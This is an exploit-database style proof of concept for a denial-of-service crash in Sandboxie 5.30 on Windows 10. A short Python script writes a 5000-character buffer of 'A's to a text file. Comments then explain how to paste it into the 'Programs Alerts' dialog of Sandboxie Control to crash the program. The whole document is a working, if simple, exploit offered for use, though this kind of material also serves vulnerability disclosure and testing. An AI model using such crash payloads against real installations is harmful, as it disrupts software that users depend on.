Sandboxie 5.30 - 'Programs Alerts' Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: Sandboxie 5.30 - Denial of Service (PoC)
# Date: 16/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.sandboxie.com
# Software https://www.sandboxie.com/SandboxieInstall.exe
# Version: 5.30
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'Sandboxie.py', it will create a new file 'Sandboxie.txt'
# 2.- Copy the text from the generated Sandboxie.txt file to clipboard
# 3.- Open Sandboxie Control
# 4.- Go to 'Configure' > 'Programs Alerts'
# 5.- Click 'Add Program', paste clipboard in the field 'Select or enter a program' and click 'OK'
# 6.- Click 'OK' and crashed

buffer = "\x41" * 5000

f = open ("Sandboxie.txt", "w")
f.write(buffer)
f.close()